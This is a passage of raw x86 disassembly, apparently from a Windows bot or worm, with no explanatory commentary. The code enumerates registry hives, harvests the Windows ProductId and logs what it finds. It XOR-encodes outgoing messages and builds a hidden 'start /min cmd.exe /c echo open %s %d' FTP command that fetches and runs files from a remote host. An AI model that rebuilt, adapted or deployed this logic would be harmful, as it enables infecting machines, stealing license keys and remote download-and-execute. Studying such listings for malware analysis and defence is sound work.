		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_435680	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435790	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_435790
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4358BC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446B8B+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_4358BC:				; CODE XREF: sub_435790+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2990272h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359A4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446B7F+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_4359A4:				; CODE XREF: sub_435790+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2990272h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435A8C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446B74
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_435A8C:				; CODE XREF: sub_435790+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2990272h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435B74
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_435B74:				; CODE XREF: sub_435790+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2990272h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435C5D
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_435C5D:				; CODE XREF: sub_435790+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435D01
; ---------------------------------------------------------------------------


loc_435C67:				; CODE XREF: sub_435790+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435D07
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 29C0269h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2970000h
		test	eax, eax
		jnz	short loc_435CFC
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_435CFC:				; CODE XREF: sub_435790+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435D01:				; CODE XREF: sub_435790+4D2j
		nop
		call	near ptr 2990272h


loc_435D07:				; CODE XREF: sub_435790+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_435790	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435EA0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435EBD
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435EB3:				; CODE XREF: sub_435EA0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435EC1
		inc	eax
		cmp	eax, esi
		jl	short loc_435EB3


loc_435EBD:				; CODE XREF: sub_435EA0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435EC1:				; CODE XREF: sub_435EA0+16j
		pop	esi
		mov	al, 1
		retn
sub_435EA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435EE0:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446B97+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435F9C
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435F9C:				; CODE XREF: ___:00435F93j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435FDE:				; CODE XREF: ___:00436057j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43601E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43601E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43601E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_436059


loc_43601E:				; CODE XREF: ___:00435FECj
					; ___:00435FFCj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436050


loc_436043:				; CODE XREF: ___:0043604Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436043


loc_436050:				; CODE XREF: ___:00436041j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435FDE
; ---------------------------------------------------------------------------


loc_436059:				; CODE XREF: ___:0043601Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436140:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446B97+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4361F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4361F2:				; CODE XREF: ___:004361E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436234:				; CODE XREF: ___:004362ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436274
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436274
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436274
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4362AF


loc_436274:				; CODE XREF: ___:00436242j
					; ___:00436252j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4362A6


loc_436299:				; CODE XREF: ___:004362A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436299


loc_4362A6:				; CODE XREF: ___:00436297j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436234
; ---------------------------------------------------------------------------


loc_4362AF:				; CODE XREF: ___:00436272j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4363A0:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_4368E0
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_69BB85
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446B97+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4364A2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4364A2:				; CODE XREF: ___:00436499j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_4364E4:				; CODE XREF: ___:0043655Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436524
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436524
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436524
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43655F


loc_436524:				; CODE XREF: ___:004364F2j
					; ___:00436502j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_436556


loc_436549:				; CODE XREF: ___:00436554j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436549


loc_436556:				; CODE XREF: ___:00436547j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_4364E4
; ---------------------------------------------------------------------------


loc_43655F:				; CODE XREF: ___:00436522j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436660:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446B97+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_4366DD
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4366DD:				; CODE XREF: ___:004366D4j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43671F:				; CODE XREF: ___:00436798j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43675F
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43675F
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43675F
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43679A


loc_43675F:				; CODE XREF: ___:0043672Dj
					; ___:0043673Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436791


loc_436784:				; CODE XREF: ___:0043678Fj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436784


loc_436791:				; CODE XREF: ___:00436782j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43671F
; ---------------------------------------------------------------------------


loc_43679A:				; CODE XREF: ___:0043675Dj
